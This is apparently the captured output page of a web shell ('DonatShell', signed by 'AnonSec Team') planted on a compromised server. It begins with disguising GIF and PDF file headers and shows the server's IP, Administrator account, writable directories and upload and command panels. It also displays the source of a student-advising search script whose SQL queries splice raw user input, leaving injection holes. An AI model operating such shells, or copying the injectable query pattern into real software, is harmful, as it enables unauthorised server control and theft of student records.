GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Admin/Advising/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : C:/nginx/html/Admin/Advising/search_Perform.phpinc
<?
// Admin/Advising/search_Perform.phpinc
// Search for a student dars..

$d_O = d_O(); #d_On(); // Uncomment to DEBUG.
d_Line(basename(__FILE__));

$search = formValue('search','');
d_Var('$search',$search);
$darsId = formValue('darsId','');
d_Var('$darsId',$darsId);

// Get previous semester YRTR.
$previousSemesterYRTR = $_SESSION['YRTR']['User'];
d_Var('$previousSemesterYRTR',$previousSemesterYRTR,'');
if ( substr($previousSemesterYRTR,5) == '3' ) {
	// Its Fall, get DARS from previous Spring.
	$nextSemesterYR = substr($previousSemesterYRTR,3,1);
	$nextSemesterYR--;
	$previousSemesterYRTR = substr($previousSemesterYRTR,0,4).$nextSemesterYR.'5';
} else {
	// Its Sprint, get DARS from previous Fall.
	$previousSemesterYRTR = substr($previousSemesterYRTR,0,4).'3';
}
d_Var('$previousSemesterYRTR',$previousSemesterYRTR,'');

// Get sessionId
$query = "
    SELECT sessionId,
           YRTR,
           sessionType,
           sessionName,
           sessionDescription,
           sessionStart,
           sessionEnd,
           lastModified,
           modifiedBy
      FROM `session`
     WHERE YRTR = '".query_safe($previousSemesterYRTR)."'
";
d_Var('sessionInfo',$query,'q');
$sessionInfo = query_info($query);
d_Var('$sessionInfo',$sessionInfo,'');

// Setup for reverse search. (last, first)
if ( strpos(' '.$search.' ',",") ) {
  $ReverseName = explode(",",' '.$search.' '); for ($i=0; $i<count($ReverseName); $i++) { $ReverseName[$i] = trim($ReverseName[$i]); }
  #d_Var('$ReverseName',$ReverseName);
  $f_SearchValue = '';
  if ( count($ReverseName) > 1 ) $f_SearchValue = $ReverseName[1].' ';
  $f_SearchValue = $f_SearchValue.$ReverseName[0];
  $f_ReverseSearch = true;
} else {
  $f_SearchValue = $search;
  $f_ReverseSearch = false;
}
// Figure out name searches.
$Name = explode(" ",ucwords($f_SearchValue)); for ($i=0; $i<count($Name); $i++) { $Name[$i] = trim($Name[$i]); }
switch (count($Name)) {
  case 0:
    break;
  case 1:
    if ( is_numeric($f_SearchValue) ) $darsStudentId = $f_SearchValue;
    break;
  case 2:
    $f_Firstname = $Name[0];
    $f_Lastname = $Name[1];
    break;
  default:
    $f_Firstname = $Name[0];
    $f_Middlename = '';
    for ($i=1; $i<count($Name)-1; $i++) {
      $f_Middlename .= $Name[$i].' ';
    }
    $f_Middlename = trim($f_Middlename);
    $f_Lastname = $Name[count($Name)-1];
    break;
}

$query = "
    SELECT darsId,
           sessionId,
           darsStudentId,
           darsStudentFirstName,
           darsStudentMiddleName,
           darsStudentLastName,
           darsStudentCumulativeCompletionPercentage,
           darsStudentGPA,
           darsStudentCreditsAdded,
           darsStudentCreditsInProgress,
           darsStudentHolds,
           darsDatePrepared,
           darsAdvisor,
           darsCredentialCode,
           darsCredentialTitle,
           darsCredentialCreditsTotal,
           darsCredentialCreditsRequired,
           darsCredentialCreditsEarned,
           darsCredentialCreditsInProgress,
           darsCredentialCreditsNeeds,
           darsCredentialEdPlanSemesterUsed,
           darsCredentialEdPlanYrUsed,
           darsCredentialStatus,
           darsLastClassYRTR,
           darsLastRegisteredYRTR,";
if ( isset($f_Firstname) && $f_Firstname != '' ) { // darsStudentFirstName match.
	$query .= "
					 IF (darsStudentFirstName = '".$f_Firstname."', 20,
					 IF (darsStudentFirstName LIKE '".$f_Firstname."%', 10,
					 IF (darsStudentFirstName LIKE '%".$f_Firstname."%', 5, 0 ) ) )
					 +
";
}
if ( isset($f_Middlename) && $f_Middlename != '' ) { // darsStudentMiddleName match.
	$query .= "
					 IF (darsStudentMiddleName = '".$f_Middlename."', 20,
					 IF (darsStudentMiddleName LIKE '".$f_Middlename."%', 10,
					 IF (darsStudentMiddleName LIKE '%".$f_Middlename."%', 5, 0 ) ) )
					 +
";
}
if ( isset($f_Lastname) && $f_Lastname != '' ) { // darsStudentLastName match.
	$query .= "
					 IF (darsStudentLastName = '".$f_Lastname."', 20,
					 IF (darsStudentLastName LIKE '".$f_Lastname."%', 10,
					 IF (darsStudentLastName LIKE '%".$f_Lastname."%', 5, 0 ) ) )
					 +
";
}
if ( isset($darsStudentId) && $darsStudentId != '' ) { // darsStudentId or memberNAPSId match.
	$query .= "
					 IF (darsStudentId = '".$darsStudentId."', 40, 0 )
					 +
";
}
$query .= "
         0 AS score
      FROM `dars`
     WHERE sessionId = ".$sessionInfo['sessionId']."
		   AND ( 1=0";
if ( !isset($darsStudentId) ) {
  foreach ($Name as $key => $NamePart) {
    if ( $NamePart != '') {
      $query .= "
         OR darsStudentFirstName LIKE '%".$NamePart."%'
         OR darsStudentMiddleName LIKE '%".$NamePart."%'
         OR darsStudentLastName LIKE '%".$NamePart."%'
      ";
    }
  }
} else {
  if ( $darsStudentId != '' ) {
    // Exact match.
    $query .= "
       OR darsStudentId = '".$darsStudentId."'
    ";
  } else {
    // Not empty
    $query .= "
       OR darsStudentId != ''
    ";
  }
}
$query .= "
          )";
if ( $darsId ) {
	$query .= "
		   AND darsId = ".$darsId;
}
$query .= "
  ORDER BY score DESC, darsStudentFirstName, darsStudentLastName, darsStudentMiddleName
";
d_Var('darsResult',$query,'q');
$darsResult = query_do($query);
$darsResultCount = $_SESSION['qry']['count'];
d_Var('$darsResult',$darsResult);

if ( isset($d_O) && !$d_O ) d_Off();
?>

Anon7 - 2022
AnonSec Team